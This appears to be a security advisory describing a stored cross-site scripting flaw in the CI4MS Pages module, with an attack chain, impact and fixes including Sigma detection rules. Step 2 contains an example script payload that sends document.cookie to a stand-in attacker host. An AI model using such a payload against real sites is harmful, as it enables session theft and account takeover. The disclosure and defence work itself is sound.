Attack Chain

1. An attacker authenticates to the CI4MS backend with pages.create or pages.update permissions.
2. The attacker crafts a malicious payload containing JavaScript code (e.g., <script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>).
3. The attacker creates or updates a page via the /backend/pages/create or /backend/pages/update endpoints, injecting the malicious payload into the lang[en][content] field.
4. The application’s Pages controller registers the html_purify validation rule, but fails to apply the sanitized result to the database.
5. The raw, unsanitized payload is stored in the pages_langs.content column in the database.
6. A user visits the public URL of the created page (e.g., /poc-page-xss), triggering the Home::index() controller.
7. The Home::index() controller retrieves the unsanitized content from the database.
8. The template at app/Views/templates/default/pages.php emits the raw content via <?php echo $pageInfo->content ?> without escaping, causing the JavaScript code to execute in the user’s browser.

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript code in the browser of any visitor to the compromised page. If an administrator visits the page, their session cookie can be exfiltrated, leading to complete account takeover. The attacker requires only pages.create permissions, which are typically assigned to non-admin content authors, enabling privilege escalation. By setting the malicious page as the home page, the attacker can ensure that every visitor to the site is potentially compromised.

Recommendation

• Apply the vendor-provided fix by calling CustomRules::sanitizeHtml() before persisting the content in modules/Pages/Controllers/Pages.php (see snippet in advisory).
• Deploy the Sigma rule “Detect CI4MS Pages Module Stored XSS Attempt via HTTP POST” to identify potential exploitation attempts in web server logs.
• Review and update other modules using the html_purify validation rule to ensure proper sanitization.
• Enable output escaping for fields not intended to contain raw HTML to provide defense-in-depth.
• Monitor web server logs for requests to /backend/pages/create and /backend/pages/update with suspicious content in the lang[en][content] parameter using the Sigma rule “Detect CI4MS Pages Module Stored XSS Payload in HTTP POST Data”.